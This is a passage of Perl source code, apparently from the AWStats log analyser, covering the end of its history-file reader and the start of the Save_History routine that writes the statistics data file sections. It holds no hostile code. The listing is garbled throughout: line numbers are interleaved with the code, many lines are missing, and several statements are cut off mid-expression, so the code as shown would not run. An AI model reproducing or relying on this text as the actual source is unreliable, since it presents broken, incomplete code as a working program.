delete $SectionsToLoad{'sereferrals'};
5456
if ( $SectionsToSave{'sereferrals'} ) {
5457
Save_History( 'sereferrals', $year, $month, $date );
5458
delete $SectionsToSave{'sereferrals'};
5460
%_se_referrals_p = ();
5461
%_se_referrals_h = ();
5464
if ( !scalar %SectionsToLoad ) {
5465
debug(" Stop reading history file. Got all we need.");
5472
if ( $field[0] eq 'BEGIN_PAGEREFS' ) {
5473
if ($Debug) { debug(" Begin of PAGEREFS section"); }
5476
my $countloaded = 0;
5480
if ( $SectionsToLoad{'pagerefs'} ) {
5488
!$FilterIn{'refererpages'}
5490
/$FilterIn{'refererpages'}/
5492
&& ( !$FilterEx{'refererpages'}
5494
/$FilterEx{'refererpages'}/ )
5501
if ( $versionnum < 5004 )
5502
{ # For history files < 5.4
5504
$_pagesrefs_h{ $field[0] } +=
5510
$_pagesrefs_p{ $field[0] } +=
5514
$_pagesrefs_h{ $field[0] } +=
5527
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5529
} until ( $field[0] eq 'END_PAGEREFS'
5530
|| $field[0] eq "${xmleb}END_PAGEREFS"
5532
if ( $field[0] ne 'END_PAGEREFS'
5533
&& $field[0] ne "${xmleb}END_PAGEREFS" )
5536
"History file \"$filetoread\" is corrupted (End of section PAGEREFS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5542
" End of PAGEREFS section ($count entries, $countloaded loaded)"
5545
delete $SectionsToLoad{'pagerefs'};
5546
if ( $SectionsToSave{'pagerefs'} ) {
5547
Save_History( 'pagerefs', $year, $month, $date );
5548
delete $SectionsToSave{'pagerefs'};
5549
if ($withpurge) { %_pagesrefs_p = (); %_pagesrefs_h = (); }
5551
if ( !scalar %SectionsToLoad ) {
5552
debug(" Stop reading history file. Got all we need.");
5559
if ( $field[0] eq 'BEGIN_SEARCHWORDS' ) {
5562
" Begin of SEARCHWORDS section ($MaxNbOf{'KeyphrasesShown'},$MinHit{'Keyphrase'})"
5567
my $countloaded = 0;
5571
if ( $SectionsToLoad{'searchwords'} ) {
5577
if ( $HTMLOutput{'main'} ) {
5578
if ( $MonthRequired eq 'all' ) {
5583
$MaxNbOf{'KeyphrasesShown'}
5585
$MinHit{'Keyphrase'} )
5589
$TotalDifferentKeyphrases++;
5590
$TotalKeyphrases += ( $field[1] || 0 );
5593
elsif ( $HTMLOutput{'keyphrases'} )
5594
{ # Load keyphrases for keyphrases chart
5595
if ( $MonthRequired eq 'all' ) {
5599
if ( $field[1] >= $MinHit{'Keyphrase'} )
5603
$TotalDifferentKeyphrases++;
5604
$TotalKeyphrases += ( $field[1] || 0 );
5607
if ( $HTMLOutput{'keywords'} )
5608
{ # Load keyphrases for keywords chart
5614
if ( $loadrecord == 2 ) {
5615
foreach ( split( /\+/, $field[0] ) )
5616
{ # field[0] is "val1+val2+..."
5617
$_keywords{$_} += $field[1];
5621
$_keyphrases{ $field[0] } += $field[1];
5633
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5635
} until ( $field[0] eq 'END_SEARCHWORDS'
5636
|| $field[0] eq "${xmleb}END_SEARCHWORDS"
5638
if ( $field[0] ne 'END_SEARCHWORDS'
5639
&& $field[0] ne "${xmleb}END_SEARCHWORDS" )
5642
"History file \"$filetoread\" is corrupted (End of section SEARCHWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5648
" End of SEARCHWORDS section ($count entries, $countloaded loaded)"
5651
delete $SectionsToLoad{'searchwords'};
5652
if ( $SectionsToSave{'searchwords'} ) {
5653
Save_History( 'searchwords', $year, $month, $date );
5654
delete $SectionsToSave{ 'searchwords'
5655
}; # This save searwords and keywords sections
5656
if ($withpurge) { %_keyphrases = (); }
5658
if ( !scalar %SectionsToLoad ) {
5659
debug(" Stop reading history file. Got all we need.");
5666
if ( $field[0] eq 'BEGIN_KEYWORDS' ) {
5669
" Begin of KEYWORDS section ($MaxNbOf{'KeywordsShown'},$MinHit{'Keyword'})"
5674
my $countloaded = 0;
5678
if ( $SectionsToLoad{'keywords'} ) {
5680
if ( $MonthRequired eq 'all' ) { $loadrecord = 1; }
5682
if ( $countloaded < $MaxNbOf{'KeywordsShown'}
5683
&& $field[1] >= $MinHit{'Keyword'} )
5687
$TotalDifferentKeywords++;
5688
$TotalKeywords += ( $field[1] || 0 );
5692
$_keywords{ $field[0] } += $field[1];
5703
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5705
} until ( $field[0] eq 'END_KEYWORDS'
5706
|| $field[0] eq "${xmleb}END_KEYWORDS"
5708
if ( $field[0] ne 'END_KEYWORDS'
5709
&& $field[0] ne "${xmleb}END_KEYWORDS" )
5712
"History file \"$filetoread\" is corrupted (End of section KEYWORDS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5718
" End of KEYWORDS section ($count entries, $countloaded loaded)"
5721
delete $SectionsToLoad{'keywords'};
5722
if ( $SectionsToSave{'keywords'} ) {
5723
Save_History( 'keywords', $year, $month, $date );
5724
delete $SectionsToSave{'keywords'};
5725
if ($withpurge) { %_keywords = (); }
5727
if ( !scalar %SectionsToLoad ) {
5728
debug(" Stop reading history file. Got all we need.");
5735
if ( $field[0] eq 'BEGIN_ERRORS' ) {
5736
if ($Debug) { debug(" Begin of ERRORS section"); }
5739
my $countloaded = 0;
5743
if ( $SectionsToLoad{'errors'} ) {
5746
$_errors_h{ $field[0] } += $field[1];
5749
$_errors_k{ $field[0] } += $field[2];
5758
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
5760
} until ( $field[0] eq 'END_ERRORS'
5761
|| $field[0] eq "${xmleb}END_ERRORS"
5763
if ( $field[0] ne 'END_ERRORS'
5764
&& $field[0] ne "${xmleb}END_ERRORS" )
5767
"History file \"$filetoread\" is corrupted (End of section ERRORS not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5773
" End of ERRORS section ($count entries, $countloaded loaded)"
5776
delete $SectionsToLoad{'errors'};
5777
if ( $SectionsToSave{'errors'} ) {
5778
Save_History( 'errors', $year, $month, $date );
5779
delete $SectionsToSave{'errors'};
5780
if ($withpurge) { %_errors_h = (); %_errors_k = (); }
5782
if ( !scalar %SectionsToLoad ) {
5783
debug(" Stop reading history file. Got all we need.");
5790
foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
5791
if ( $field[0] eq "BEGIN_SIDER_$code" ) {
5792
if ($Debug) { debug(" Begin of SIDER_$code section"); }
5795
my $countloaded = 0;
5799
if ( $SectionsToLoad{"sider_$code"} ) {
5802
$_sider404_h{ $field[0] } += $field[1];
5804
if ( $withupdate || $HTMLOutput{"errors$code"} )
5807
$_referer404_h{ $field[0] } = $field[2];
5819
? XMLDecodeFromHisto($_)
5824
} until ( $field[0] eq "END_SIDER_$code"
5825
|| $field[0] eq "${xmleb}END_SIDER_$code"
5827
if ( $field[0] ne "END_SIDER_$code"
5828
&& $field[0] ne "${xmleb}END_SIDER_$code" )
5831
"History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5837
" End of SIDER_$code section ($count entries, $countloaded loaded)"
5840
delete $SectionsToLoad{"sider_$code"};
5841
if ( $SectionsToSave{"sider_$code"} ) {
5842
Save_History( "sider_$code", $year, $month, $date );
5843
delete $SectionsToSave{"sider_$code"};
5846
%_referer404_h = ();
5849
if ( !scalar %SectionsToLoad ) {
5850
debug(" Stop reading history file. Got all we need.");
5858
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
5859
if ( $field[0] eq "BEGIN_EXTRA_$extranum" ) {
5860
if ($Debug) { debug(" Begin of EXTRA_$extranum"); }
5863
my $countloaded = 0;
5865
if ( $field[0] ne '' ) {
5867
if ( $SectionsToLoad{"extra_$extranum"} ) {
5868
if ( $ExtraStatTypes[$extranum] =~ /P/i
5871
${ '_section_' . $extranum . '_p' }
5872
{ $field[0] } += $field[1];
5874
${ '_section_' . $extranum . '_h' }
5875
{ $field[0] } += $field[2];
5876
if ( $ExtraStatTypes[$extranum] =~ /B/i
5879
${ '_section_' . $extranum . '_k' }
5880
{ $field[0] } += $field[3];
5882
if ( $ExtraStatTypes[$extranum] =~ /L/i
5883
&& !${ '_section_' . $extranum . '_l' }
5887
${ '_section_' . $extranum . '_l' }
5888
{ $field[0] } = int( $field[4] );
5900
? XMLDecodeFromHisto($_)
5905
} until ( $field[0] eq "END_EXTRA_$extranum"
5906
|| $field[0] eq "${xmleb}END_EXTRA_$extranum"
5908
if ( $field[0] ne "END_EXTRA_$extranum"
5909
&& $field[0] ne "${xmleb}END_EXTRA_$extranum" )
5912
"History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
5918
" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"
5921
delete $SectionsToLoad{"extra_$extranum"};
5922
if ( $SectionsToSave{"extra_$extranum"} ) {
5923
Save_History( "extra_$extranum", $year, $month, $date );
5924
delete $SectionsToSave{"extra_$extranum"};
5926
%{ '_section_' . $extranum . '_p' } = ();
5927
%{ '_section_' . $extranum . '_h' } = ();
5928
%{ '_section_' . $extranum . '_b' } = ();
5929
%{ '_section_' . $extranum . '_l' } = ();
5932
if ( !scalar %SectionsToLoad ) {
5933
debug(" Stop reading history file. Got all we need.");
5941
if ( $AtLeastOneSectionPlugin
5942
&& $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i )
5944
my $pluginname = $1;
5946
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
5947
if ( $pluginname eq $_ ) {
5949
# The plugin for this section was loaded
5951
my $issectiontoload =
5952
$SectionsToLoad{"plugin_$pluginname"};
5954
# my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)";
5955
# eval("$function");
5956
my $function = "SectionReadHistory_$pluginname";
5957
&$function( $issectiontoload, $readxml, $xmleb,
5959
delete $SectionsToLoad{"plugin_$pluginname"};
5960
if ( $SectionsToSave{"plugin_$pluginname"} ) {
5961
Save_History( "plugin_$pluginname",
5962
$year, $month, $date );
5963
delete $SectionsToSave{"plugin_$pluginname"};
5966
# my $function="SectionInitHashArray_$pluginname()";
5967
# eval("$function");
5969
"SectionInitHashArray_$pluginname";
5976
if ( !scalar %SectionsToLoad ) {
5977
debug(" Stop reading history file. Got all we need.");
5981
# The plugin for this section was not loaded
5991
? XMLDecodeFromHisto($_)
5996
} until ( $field[0] eq "END_PLUGIN_$pluginname"
5997
|| $field[0] eq "${xmleb}END_PLUGIN_$pluginname"
6003
# For backward compatibility (ORIGIN section was "HitFromx" in old history files)
6004
if ( $SectionsToLoad{'origin'} ) {
6005
if ( $field[0] eq 'HitFrom0' ) {
6007
$_from_h[0] += $field[1];
6010
if ( $field[0] eq 'HitFrom1' ) {
6012
$_from_h[1] += $field[1];
6015
if ( $field[0] eq 'HitFrom2' ) {
6017
$_from_h[2] += $field[1];
6020
if ( $field[0] eq 'HitFrom3' ) {
6022
$_from_h[3] += $field[1];
6025
if ( $field[0] eq 'HitFrom4' ) {
6027
$_from_h[4] += $field[1];
6030
if ( $field[0] eq 'HitFrom5' ) {
6032
$_from_h[5] += $field[1];
6041
# Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found)
6042
# This can change some values for day, sider and session sections
6043
if ($Debug) { debug( " Processing data in 'wait' arrays", 3 ); }
6044
foreach ( keys %_waithost_e ) {
6046
debug( " Visit in 'wait' array for $_ is a new visit", 4 );
6049
( $_waithost_s{$_} ? $_waithost_s{$_} : $_host_s{$_} );
6051
( $_waithost_l{$_} ? $_waithost_l{$_} : $_host_l{$_} );
6052
$_url_e{ $_waithost_e{$_} }++;
6053
$newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/;
6055
if ( $_waithost_s{$_} ) {
6057
# There was also a second session in processed log
6058
$_session{ GetSessionRange( $newtimehosts, $newtimehostl ) }++;
6063
# Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
6066
" Check and write all unwrote sections: "
6067
. join( ',', keys %SectionsToSave ),
6072
sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
6073
keys %SectionsToSave
6076
Save_History( "$key", $year, $month, $date, $lastlinenb,
6077
$lastlineoffset, $lastlinechecksum );
6079
%SectionsToSave = ();
6081
# Update offset in map section and last data in general section then close files
6083
if ($xml) { print HISTORYTMP "\n\n</xml>\n"; }
6085
# Update offset of sections in the MAP section
6086
foreach ( sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile )
6090
" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"
6093
if ( $PosInFile{"$_"} ) {
6094
seek( HISTORYTMP, $PosInFile{"$_"}, 0 );
6095
print HISTORYTMP $ValueInFile{"$_"};
6099
# Save last data in general sections
6102
" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"
6105
seek( HISTORYTMP, $PosInFile{"TotalVisits"}, 0 );
6106
print HISTORYTMP $MonthVisits{ $year . $month };
6109
" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"
6112
seek( HISTORYTMP, $PosInFile{"TotalUnique"}, 0 );
6113
print HISTORYTMP $MonthUnique{ $year . $month };
6116
" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"
6119
seek( HISTORYTMP, $PosInFile{"MonthHostsKnown"}, 0 );
6120
print HISTORYTMP $MonthHostsKnown{ $year . $month };
6123
" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"
6126
seek( HISTORYTMP, $PosInFile{"MonthHostsUnknown"}, 0 );
6127
print HISTORYTMP $MonthHostsUnknown{ $year . $month };
6128
close(HISTORYTMP) || error("Failed to write temporary history file");
6131
close(HISTORY) || error("Command for pipe '$filetoread' failed");
6135
if ($withpurge) { &Init_HashArray(); }
6137
# If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed
6139
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"} ) {
6141
"Rename tmp history file bis '$filetoread' to '$filetowrite'");
6142
if ( rename( $filetowrite, $filetoread ) == 0 ) {
6143
error("Failed to update tmp history file $filetoread");
6147
$HistoryAlreadyFlushed{"$year$month$day$hour"} = 1;
6150
if ( !$ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month" ) {
6151
$ListOfYears{"$year"} = "$month";
6155
# For backward compatibility, if LastLine does not exist, set to LastTime
6156
$LastLine ||= $LastTime{$date};
6158
return ( $withupdate ? "$filetowrite" : "" );
6161
#------------------------------------------------------------------------------
6162
# Function: Save a part of history file
6163
# Parameters: sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum]
6164
# Input: $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum
6167
#------------------------------------------------------------------------------
6169
my $sectiontosave = shift || '';
6170
my $year = shift || '';
6171
my $month = shift || '';
6172
my $breakdate = shift || '';
6174
my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
6176
$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6177
$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6179
= ( '', '', '', '', '', '', '', '', '', '', '' );
6182
$xmlbb, $xmlbs, $xmlbe, $xmlhb, $xmlhs, $xmlhe,
6183
$xmlrb, $xmlrs, $xmlre, $xmleb, $xmlee
6186
"</comment><nu>\n", '</nu><recnb>',
6187
'</recnb><table>', '<tr><th>',
6188
'</th><th>', '</th></tr>',
6189
'<tr><td>', '</td><td>',
6190
'</td></tr>', '</table><nu>',
6194
else { $xmlbs = ' '; $xmlhs = ' '; $xmlrs = ' '; }
6196
my $lastlinenb = shift || 0;
6197
my $lastlineoffset = shift || 0;
6198
my $lastlinechecksum = shift || 0;
6199
if ( !$lastlinenb ) { # This happens for migrate
6200
$lastlinenb = $LastLineNumber;
6201
$lastlineoffset = $LastLineOffset;
6202
$lastlinechecksum = $LastLineChecksum;
6207
" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,breakdate=$breakdate,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]",
6212
my %keysinkeylist = ();
6215
if ( $sectiontosave eq 'header' ) {
6216
if ($xml) { print HISTORYTMP "<version><lib>\n"; }
6217
print HISTORYTMP "AWSTATS DATA FILE $VERSION\n";
6218
if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
6220
"# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
6222
"# Last config file used to build this data file was $FileConfig.\n";
6223
if ($xml) { print HISTORYTMP "</comment></version>\n"; }
6224
print HISTORYTMP "\n";
6226
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6229
"# Position (offset in bytes) in this file for beginning of each section for\n";
6231
"# direct I/O access. If you made changes somewhere in this file, you should\n";
6233
"# also remove completely the MAP section (AWStats will rewrite it at next\n";
6234
print HISTORYTMP "# update).\n";
6235
print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}"
6236
. ( 26 + ( scalar keys %TrapInfosForHTTPErrorCodes ) +
6237
( scalar @ExtraName ? scalar @ExtraName - 1 : 0 ) +
6238
( scalar keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) )
6240
print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}";
6241
$PosInFile{"general"} = tell HISTORYTMP;
6242
print HISTORYTMP "$spacebar${xmlre}\n";
6245
print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}";
6246
$PosInFile{"time"} = tell HISTORYTMP;
6247
print HISTORYTMP "$spacebar${xmlre}\n";
6248
print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}";
6249
$PosInFile{"visitor"} = tell HISTORYTMP;
6250
print HISTORYTMP "$spacebar${xmlre}\n";
6251
print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}";
6252
$PosInFile{"day"} = tell HISTORYTMP;
6253
print HISTORYTMP "$spacebar${xmlre}\n";
6256
print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}";
6257
$PosInFile{"domain"} = tell HISTORYTMP;
6258
print HISTORYTMP "$spacebar${xmlre}\n";
6259
print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}";
6260
$PosInFile{"login"} = tell HISTORYTMP;
6261
print HISTORYTMP "$spacebar${xmlre}\n";
6262
print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}";
6263
$PosInFile{"robot"} = tell HISTORYTMP;
6264
print HISTORYTMP "$spacebar${xmlre}\n";
6265
print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}";
6266
$PosInFile{"worms"} = tell HISTORYTMP;
6267
print HISTORYTMP "$spacebar${xmlre}\n";
6268
print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}";
6269
$PosInFile{"emailsender"} = tell HISTORYTMP;
6270
print HISTORYTMP "$spacebar${xmlre}\n";
6271
print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}";
6272
$PosInFile{"emailreceiver"} = tell HISTORYTMP;
6273
print HISTORYTMP "$spacebar${xmlre}\n";
6276
print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}";
6277
$PosInFile{"session"} = tell HISTORYTMP;
6278
print HISTORYTMP "$spacebar${xmlre}\n";
6279
print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}";
6280
$PosInFile{"sider"} = tell HISTORYTMP;
6281
print HISTORYTMP "$spacebar${xmlre}\n";
6282
print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}";
6283
$PosInFile{"filetypes"} = tell HISTORYTMP;
6284
print HISTORYTMP "$spacebar${xmlre}\n";
6285
print HISTORYTMP "${xmlrb}POS_DOWNLOADS${xmlrs}";
6286
$PosInFile{'downloads'} = tell HISTORYTMP;
6287
print HISTORYTMP "$spacebar${xmlre}\n";
6288
print HISTORYTMP "${xmlrb}POS_OS${xmlrs}";
6289
$PosInFile{"os"} = tell HISTORYTMP;
6290
print HISTORYTMP "$spacebar${xmlre}\n";
6291
print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}";
6292
$PosInFile{"browser"} = tell HISTORYTMP;
6293
print HISTORYTMP "$spacebar${xmlre}\n";
6294
print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}";
6295
$PosInFile{"screensize"} = tell HISTORYTMP;
6296
print HISTORYTMP "$spacebar${xmlre}\n";
6297
print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}";
6298
$PosInFile{'unknownreferer'} = tell HISTORYTMP;
6299
print HISTORYTMP "$spacebar${xmlre}\n";
6300
print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}";
6301
$PosInFile{'unknownrefererbrowser'} = tell HISTORYTMP;
6302
print HISTORYTMP "$spacebar${xmlre}\n";
6305
print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}";
6306
$PosInFile{"origin"} = tell HISTORYTMP;
6307
print HISTORYTMP "$spacebar${xmlre}\n";
6308
print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}";
6309
$PosInFile{"sereferrals"} = tell HISTORYTMP;
6310
print HISTORYTMP "$spacebar${xmlre}\n";
6311
print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}";
6312
$PosInFile{"pagerefs"} = tell HISTORYTMP;
6313
print HISTORYTMP "$spacebar${xmlre}\n";
6314
print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}";
6315
$PosInFile{"searchwords"} = tell HISTORYTMP;
6316
print HISTORYTMP "$spacebar${xmlre}\n";
6317
print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}";
6318
$PosInFile{"keywords"} = tell HISTORYTMP;
6319
print HISTORYTMP "$spacebar${xmlre}\n";
6322
print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}";
6323
$PosInFile{"misc"} = tell HISTORYTMP;
6324
print HISTORYTMP "$spacebar${xmlre}\n";
6325
print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}";
6326
$PosInFile{"errors"} = tell HISTORYTMP;
6327
print HISTORYTMP "$spacebar${xmlre}\n";
6328
print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}";
6329
$PosInFile{"cluster"} = tell HISTORYTMP;
6330
print HISTORYTMP "$spacebar${xmlre}\n";
6332
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
6333
print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}";
6334
$PosInFile{"sider_$_"} = tell HISTORYTMP;
6335
print HISTORYTMP "$spacebar${xmlre}\n";
6337
foreach ( 1 .. @ExtraName - 1 ) {
6338
print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}";
6339
$PosInFile{"extra_$_"} = tell HISTORYTMP;
6340
print HISTORYTMP "$spacebar${xmlre}\n";
6342
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
6343
print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}";
6344
$PosInFile{"plugin_$_"} = tell HISTORYTMP;
6345
print HISTORYTMP "$spacebar${xmlre}\n";
6347
print HISTORYTMP "${xmleb}END_MAP${xmlee}\n";
6351
if ( $sectiontosave eq 'general' ) {
6352
$LastUpdate = int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec");
6353
print HISTORYTMP "\n";
6355
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6358
"# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n";
6360
"# FirstTime = Date of first visit for history file\n";
6362
"# LastTime = Date of last visit for history file\n";
6364
"# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n";
6365
print HISTORYTMP "# TotalVisits = Number of visits\n";
6366
print HISTORYTMP "# TotalUnique = Number of unique visitors\n";
6367
print HISTORYTMP "# MonthHostsKnown = Number of hosts known\n";
6368
print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n";
6369
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6370
print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n";
6371
print HISTORYTMP "${xmlrb}LastLine${xmlrs}"
6372
. ( $LastLine > 0 ? $LastLine : $LastTime{$breakdate} )
6373
. " $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n";
6374
print HISTORYTMP "${xmlrb}FirstTime${xmlrs}"
6375
. $FirstTime{$breakdate}
6377
print HISTORYTMP "${xmlrb}LastTime${xmlrs}"
6378
. $LastTime{$breakdate}
6381
"${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n";
6382
print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}";
6383
$PosInFile{"TotalVisits"} = tell HISTORYTMP;
6384
print HISTORYTMP "$spacebar${xmlre}\n";
6385
print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}";
6386
$PosInFile{"TotalUnique"} = tell HISTORYTMP;
6387
print HISTORYTMP "$spacebar${xmlre}\n";
6388
print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}";
6389
$PosInFile{"MonthHostsKnown"} = tell HISTORYTMP;
6390
print HISTORYTMP "$spacebar${xmlre}\n";
6391
print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}";
6392
$PosInFile{"MonthHostsUnknown"} = tell HISTORYTMP;
6393
print HISTORYTMP "$spacebar${xmlre}\n";
6394
print HISTORYTMP "${xmleb}"
6395
. ( ${xmleb} ? "\n" : "" )
6396
. "END_GENERAL${xmlee}\n"
6397
; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections
6401
if ( $sectiontosave eq 'time' ) {
6402
print HISTORYTMP "\n";
6404
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6407
"# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n";
6408
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6409
print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n";
6410
for ( my $ix = 0 ; $ix <= 23 ; $ix++ ) {
6411
print HISTORYTMP "${xmlrb}$ix${xmlrs}"
6412
. int( $_time_p[$ix] )
6414
. int( $_time_h[$ix] )
6416
. int( $_time_k[$ix] )
6418
. int( $_time_nv_p[$ix] )
6420
. int( $_time_nv_h[$ix] )
6422
. int( $_time_nv_k[$ix] )
6425
print HISTORYTMP "${xmleb}END_TIME${xmlee}\n";
6427
if ( $sectiontosave eq 'day' )
6428
{ # This section must be saved after VISITOR section is read
6429
print HISTORYTMP "\n";
6431
print HISTORYTMP "<section id='$sectiontosave'><comment>\n";
6433
print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n";
6434
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6435
print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}"
6436
. ( scalar keys %DayHits )
6438
my $monthvisits = 0;
6439
foreach ( sort keys %DayHits ) {
6440
if ( $_ =~ /^$year$month/i ) { # Found a day entry of the good month
6441
my $page = $DayPages{$_} || 0;
6442
my $hits = $DayHits{$_} || 0;
6443
my $bytes = $DayBytes{$_} || 0;
6444
my $visits = $DayVisits{$_} || 0;
6446
"${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n";
6447
$monthvisits += $visits;
6450
$MonthVisits{ $year . $month } = $monthvisits;
6451
print HISTORYTMP "${xmleb}END_DAY${xmlee}\n";
6455
if ( $sectiontosave eq 'domain' ) {
6456
print HISTORYTMP "\n";
6459
"<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n";
6461
print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n";
6463
"# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n";
6464
$ValueInFile{$sectiontosave} = tell HISTORYTMP;
6465
print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}"
6466
. ( scalar keys %_domener_h )
6469
# We save page list in score sorted order to get a -output faster and with less use of memory.
6471
$MaxNbOf{'Domain'}, $MinHit{'Domain'},
6472
\%_domener_h, \%_domener_p
6474
my %keysinkeylist = ();
6475
foreach (@keylist) {
6476
$keysinkeylist{$_} = 1;
6477
my $page = $_domener_p{$_} || 0;
6478
my $bytes = $_domener_k{$_}
6479
|| 0; # ||0 could be commented to reduce history file size
6481
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6483
foreach ( keys %_domener_h ) {
6484
if ( $keysinkeylist{$_} ) { next; }
6485
my $page = $_domener_p{$_} || 0;
6486
my $bytes = $_domener_k{$_}
6487
|| 0; # ||0 could be commented to reduce history file size
6489
"${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
6491
print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n";
6493
if ( $sectiontosave eq 'visitor' ) {
6494
print HISTORYTMP "\n";
6497
